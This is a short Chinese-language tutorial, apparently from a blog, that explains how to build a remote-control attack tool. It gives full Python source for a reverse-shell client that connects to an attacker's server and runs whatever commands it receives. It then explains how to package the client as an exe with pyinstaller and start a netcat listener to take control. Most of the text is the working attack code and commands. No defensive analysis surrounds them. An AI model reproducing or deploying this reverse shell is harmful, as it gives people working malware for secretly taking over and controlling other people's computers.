1、远控攻击思路:
首先服务端开启监听,远控脚本以客户端的形式运行在被控电脑(脚本的套接字为服务器监听ip、端口),建立socket连接后,服务端可以控制客户端电脑执行命令。
2、客户端脚本编写:
第一步,建立socket连接,传输消息
第二步,消息传入os.system(),当作命令执行
第三步,执行结果返回服务器
代码如下(更改服务器ip端口)
import os
import socket
def clinet():
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('*.*.*.*',****)) # 指定服务器的ip和端口号
sock.send(b"I'm coming\n") # 发送数据
while True:
d = sock.recv(1024)
if d:
data = '' + str(d,encoding="utf-8")
else:
break
try:
d = os.popen(data)
sock.send(d.read().encode("utf8"))
except:
pass
if __name__ == '__main__':
clinet()
3、利用:
将脚本封装exe,可用pyinstaller,封装好的exe文件运行测试一下
服务器开启监听:
nc -lvvp 9999
本地运行exe 文件:
运行dir查看目录,再调起计算器,测试结果如下: